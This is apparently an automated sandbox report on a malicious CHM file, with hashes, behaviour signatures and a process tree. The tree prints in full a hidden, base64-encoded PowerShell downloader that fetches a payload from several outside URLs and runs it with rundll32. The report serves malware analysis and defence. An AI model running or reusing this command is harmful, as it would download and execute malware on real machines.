Analysis
-
max time kernel
44s -
max time network
33s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
21/04/2023, 14:11
Static task
static1
Behavioral task
behavioral1
Sample
README-pZS6503.chm
Resource
win7-20230220-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
README-pZS6503.chm
Resource
win10v2004-20230220-en
5 signatures
150 seconds
General
-
Target
README-pZS6503.chm
-
Size
14KB
-
MD5
ca6ad5ab3957aa103dd2cfd3168cc71b
-
SHA1
342d359f3a1600083b4f73f9c1c773622caa3857
-
SHA256
2733e6c3a7b6209f42f7f0cd9d56abafdc34f331d2ccbb5e4916a7ac4b16ac32
-
SHA512
ebc284d1f58a359d134a6342b6d07dacdb6e30453d7708ee7aa963b39219cfd1ce073aa68ba206572418ce42c2b4d995c82c771f1f4c1674c937f7a774f3dad3
-
SSDEEP
96:MV/veDPCotsVtkTwy/v0TKjmfC06fIhQK3od5o0TZ386X1pYw5aajiG:Mh7tkTwy/vB6KhIhQK3odpR86lS6j5
Score
1/10
Malware Config
Signatures
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\Main hh.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 768 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 768 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1376 hh.exe 1376 hh.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1376 wrote to memory of 572 1376 hh.exe 29 PID 1376 wrote to memory of 572 1376 hh.exe 29 PID 1376 wrote to memory of 572 1376 hh.exe 29 PID 572 wrote to memory of 768 572 cmd.exe 31 PID 572 wrote to memory of 768 572 cmd.exe 31 PID 572 wrote to memory of 768 572 cmd.exe 31
Processes
-
C:\Windows\hh.exe"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\README-pZS6503.chm1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1376 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAdwBlAGwAZgBhAHIAaQBzAG0AIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBoAG8AdABlAGwAbABvAHMAbQBpAHIAdABvAHMALgBjAG8AbQAvAHMAagBuAC8ANwB0AHcATABFADUAbwBEAG0AMwA3ACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAGIAMgBmAGYAUwBJAG8AMgBNAEUALABoAHQAdABwAHMAOgAvAC8AYwBpAHQAeQB0AGUAYwBoAC0AcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvADYATQBoADEAawAvAEEANwBxADEAYwBPAGsAVAAwAHgASQAsAGgAdAB0AHAAcwA6AC8ALwBlAHIAZwAtAGUAZwAuAGMAbwBtAC8AbwBjAG0AYgAvAFgANQBFAGUAegBiAEwAOABZAFAALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBkAFoATgBDAE0AeABxAGQAVABWAHMAWAAsAGgAdAB0AHAAcwA6AC8ALwBtAHIAYwByAGkAegBxAHUAbgBhAC4AYwBvAG0ALwBMADcAYwBjAE4ALwBiAHEAaQBmAFYAbAA1AFoAWABsADEASQAsAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAEgAZwBFAEcAUgBEAEQAUwA2AGEAOAAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBnAG0AYwBBAEEAaQBoAGYAVwByAGcAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAdAByAGEAZABpAHQAaQBvAG4AaQBzAG0AIABpAG4AIAAkAHcAZQBsAGYAYQByAGkAcwBtACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJAB0AHIAYQBkAGkAdABpAG8AbgBpAHMAbQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgBhAGwAbABvAG4AZQAuAEIAbwB1AGMAaABlAGUASQBuAGQAbwBnAGUAbgBpAGQAZQA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGIAYQBsAGwAbwBuAGUALgBCAG8AdQBjAGgAZQBlAEkAbgBkAG8AZwBlAG4AaQBkAGUAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ATgBvAEwAbwBnAG8AIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBHADgAQQBiAGcAQgBsAEEAQwA0AEEAUQBnAEIAdgBBAEgAVQBBAFkAdwBCAG8AQQBHAFUAQQBaAFEAQgBKAEEARwA0AEEAWgBBAEIAdgBBAEcAYwBBAFoAUQBCAHUAQQBHAGsAQQBaAEEAQgBsAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA=2⤵
- Suspicious use of WriteProcessMemory
PID:572 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAdwBlAGwAZgBhAHIAaQBzAG0AIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBoAG8AdABlAGwAbABvAHMAbQBpAHIAdABvAHMALgBjAG8AbQAvAHMAagBuAC8ANwB0AHcATABFADUAbwBEAG0AMwA3ACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAGIAMgBmAGYAUwBJAG8AMgBNAEUALABoAHQAdABwAHMAOgAvAC8AYwBpAHQAeQB0AGUAYwBoAC0AcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvADYATQBoADEAawAvAEEANwBxADEAYwBPAGsAVAAwAHgASQAsAGgAdAB0AHAAcwA6AC8ALwBlAHIAZwAtAGUAZwAuAGMAbwBtAC8AbwBjAG0AYgAvAFgANQBFAGUAegBiAEwAOABZAFAALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBkAFoATgBDAE0AeABxAGQAVABWAHMAWAAsAGgAdAB0AHAAcwA6AC8ALwBtAHIAYwByAGkAegBxAHUAbgBhAC4AYwBvAG0ALwBMADcAYwBjAE4ALwBiAHEAaQBmAFYAbAA1AFoAWABsADEASQAsAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAEgAZwBFAEcAUgBEAEQAUwA2AGEAOAAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBnAG0AYwBBAEEAaQBoAGYAVwByAGcAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAdAByAGEAZABpAHQAaQBvAG4AaQBzAG0AIABpAG4AIAAkAHcAZQBsAGYAYQByAGkAcwBtACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJAB0AHIAYQBkAGkAdABpAG8AbgBpAHMAbQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgBhAGwAbABvAG4AZQAuAEIAbwB1AGMAaABlAGUASQBuAGQAbwBnAGUAbgBpAGQAZQA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGIAYQBsAGwAbwBuAGUALgBCAG8AdQBjAGgAZQBlAEkAbgBkAG8AZwBlAG4AaQBkAGUAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ATgBvAEwAbwBnAG8AIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBHADgAQQBiAGcAQgBsAEEAQwA0AEEAUQBnAEIAdgBBAEgAVQBBAFkAdwBCAG8AQQBHAFUAQQBaAFEAQgBKAEEARwA0AEEAWgBBAEIAdgBBAEcAYwBBAFoAUQBCAHUAQQBHAGsAQQBaAEEAQgBsAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:768
-
-